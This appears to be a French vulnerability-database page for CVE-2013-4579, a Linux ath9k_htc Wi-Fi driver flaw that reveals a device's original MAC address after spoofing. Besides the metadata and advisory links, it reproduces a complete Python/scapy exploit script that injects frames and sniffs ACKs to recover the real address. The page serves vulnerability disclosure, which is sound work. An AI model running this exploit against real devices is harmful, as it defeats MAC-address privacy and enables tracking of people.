CVE-2013-4579 : Détail

CVE-2013-4579

A02-Cryptographic Failures
20.69%V3
Network
2013-11-19
14h00 +00:00
2014-03-10
10h57 +00:00
CVE.org
NVD
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Descriptions du CVE

The ath9k_htc_set_bssid_mask function in drivers/net/wireless/ath/ath9k/htc_drv_main.c in the Linux kernel through 3.12 uses a BSSID masking approach to determine the set of MAC addresses on which a Wi-Fi device is listening, which allows remote attackers to discover the original MAC address after spoofing by sending a series of packets to MAC addresses with certain bit manipulations.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-310 Category : Cryptographic Issues
Weaknesses in this category are related to the design and implementation of data confidentiality and integrity. Frequently these deal with the use of encoding techniques, encryption libraries, and hashing algorithms. The weaknesses in this category could lead to a degradation of the quality data if they are not addressed.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.3 AV:N/AC:M/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 38826

Date de publication : 2013-12-09 23h00 +00:00
Auteur : Mathy Vanhoef
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/63743/info Linux Kernel is prone to an information-disclosure vulnerability. An attacker can exploit this issue to obtain sensitive information like original MAC address; information obtained may aid in other attacks. Note: This BID was previously titled 'Atheros Wireless Drivers MAC Address Information Disclosure Vulnerability'. The title and technical details have been changed to better reflect the underlying component affected. #!/usr/bin/python import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy.all import * import random # number of times to inject probe for one bit (combat packet loss) ATTEMPTS_PER_BIT = 6 # time to wait for ACK in seconds SNIFFTIME = 0.3 def randmac(): mac = [0] * 6 for i in xrange(6): mac[i] = random.randint(0, 256) # avoid multicast/broadcast mac mac[0] = mac[0] & 0xFE return ":".join([format(byte, '02x') for byte in mac]) def parsemac(macstr): parts = macstr.replace("-", ":").split(":") if len(parts) != 6: raise ValueError("MAC does not consist of 6 parts (separated by : or -)") return [int(byte, 16) for byte in parts] def is_ack(p): return Dot11 in p and p.type == 1 and p.subtype == 13 def find_fixed_bits(s, mac): # eventually contains the real MAC address orgmac = [0] * 6 # random MAC address, used as sender, to which the target will send an ACK srcmac = randmac() # for all the bits - FIXME: Don't consider H.O. bit of first MAC byte for i in range(6): for bit in range(8): # flip the bit at current position currbit = mac[i] & (1 << bit) mac[i] ^= (1 << bit) # convert modified mac to string strmac = ":".join([format(byte, '02x') for byte in mac]) print "Probing", strmac, "...", replied = False for attempt in range(ATTEMPTS_PER_BIT): # inject data packet to modified MAC address packet = Dot11(type="Data", subtype=4, FCfield="from-DS", addr1=strmac, addr2=srcmac, addr3=strmac) s.send(RadioTap()/packet) # Sniff air for ACK to modified MAC l = sniff(lfilter=lambda p: is_ack(p) and p.addr1 == srcmac, count=1, timeout=SNIFFTIME, opened_socket=s) # We we got an ACK, don't need to try again if len(l) == 1: replied = True break print replied # If client replied, original bit is different from the one currently set, # otherwise it's equal to original bit. if replied: orgmac[i] |= (~currbit) & (1 << bit) else: orgmac[i] |= currbit # flip bit back to original value mac[i] ^= (1 << bit) # Done, return original MAC return orgmac if __name__ == "__main__": if len(sys.argv) != 3: print "Usage:", sys.argv[0], "interface macaddr" quit(1) try: mac = parsemac(sys.argv[2]) conf.iface = sys.argv[1] random.seed() # Open up read/write socket so we don't miss the ACK L2socket = conf.L2socket s = L2socket(type=ETH_P_ALL, iface=conf.iface) # Now find the MAC orgmac = find_fixed_bits(s, mac) s.close() print "\nReal MAC address:", ":".join(format(byte, "02x") for byte in orgmac), "\n" except ValueError, e: print "Invalid MAC address:", e except socket.error, e: print "Error with provided interface:", e

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 3.12

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

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Linux>>Linux_kernel >> Version 3.10.12

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Linux>>Linux_kernel >> Version 3.10.17

Linux>>Linux_kernel >> Version 3.10.18

Linux>>Linux_kernel >> Version 3.11

Linux>>Linux_kernel >> Version 3.11.1

Linux>>Linux_kernel >> Version 3.11.2

Linux>>Linux_kernel >> Version 3.11.3

Linux>>Linux_kernel >> Version 3.11.4

Linux>>Linux_kernel >> Version 3.11.5

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Linux>>Linux_kernel >> Version 3.11.7

Références

http://www.ubuntu.com/usn/USN-2135-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2138-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2113-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2141-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.openwall.com/lists/oss-security/2013/11/15/3
Tags : mailing-list, x_refsource_MLIST
http://www.ubuntu.com/usn/USN-2136-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2139-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2134-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2117-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2133-1
Tags : vendor-advisory, x_refsource_UBUNTU